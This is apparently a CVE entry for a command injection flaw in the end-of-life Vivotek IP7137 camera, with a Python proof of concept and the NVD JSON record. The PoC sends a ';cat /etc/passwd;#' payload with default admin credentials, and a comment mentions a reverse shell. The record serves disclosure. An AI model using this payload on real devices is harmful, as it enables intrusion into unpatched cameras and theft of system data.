CVE-2025-66052

import requests # CVE-2025-66052 PoC - Vivotek IP7137 Command Injection # Target: Vivotek IP7137 IP Camera # Endpoint: /cgi-bin/admin/setparam.cgi # Parameter: system_ntpIt # Authentication: Requires admin privileges target_ip = "192.168.1.100" url = f"http://{target_ip}/cgi-bin/admin/setparam.cgi" # Authentication headers (admin:admin default or via CVE-2025-66050) headers = { "Authorization": "Basic YWRtaW46YWRtaW4=", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload - injects command via system_ntpIt parameter # Example: Execute reverse shell or read /etc/passwd payload = { "system_ntpIt": ";cat /etc/passwd;#" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2025-66052", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:53.883", "lastModified": "2026-01-14T17:50:09.087", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Vivotek IP7137 camera with firmware version 0200a is vulnerable to command injection. Parameter \"system_ntpIt\" used by \"/cgi-bin/admin/setparam.cgi\" endpoint is not sanitized properly, allowing a user with administrative privileges to perform an attack. Due to CVE-2025-66050, administrative access is not protected by default, \nThe vendor has not replied to the CNA Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released."}, {"lang": "es", "value": "La cámara Vivotek IP7137 con la versión de firmware 0200a es vulnerable a inyección de comandos. El parámetro 'system_ntpIt' utilizado por el endpoint /cgi-bin/admin/setparam.cgi no se sanea correctamente, permitiendo que un usuario con privilegios administrativos realice un ataque. Debido a CVE-2025-66050, el acceso administrativo no está protegido por defecto. El proveedor no ha respondido a la CNA. Posiblemente todas las versiones de firmware están afectadas. Dado que el producto ha alcanzado la fase de Fin de Vida Útil, no se espera que se lance una solución."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:vivotek:ip7137_firmware:0200a:*:*:*:*:*:*:*", "matchCriteriaId": "7FBD8C69-D2F8-46B0-AE09-F6296BD22414"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:vivotek:ip7137:-:*:*:*:*:*:*:*", "matchCriteriaId": "2BE1F29C-4CF4-46B7-862B-C4B3F00B70EE"}]}]}], "references": [{"url": "https://cert.pl/posts/2026/01/CVE-2025-66049", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}